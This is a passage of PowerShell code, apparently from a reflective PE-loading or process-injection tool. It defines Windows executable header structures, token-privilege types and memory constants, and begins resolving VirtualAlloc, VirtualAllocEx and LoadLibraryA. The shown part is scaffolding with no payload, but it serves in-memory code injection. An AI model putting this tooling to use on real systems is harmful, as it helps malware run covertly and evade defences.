$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = 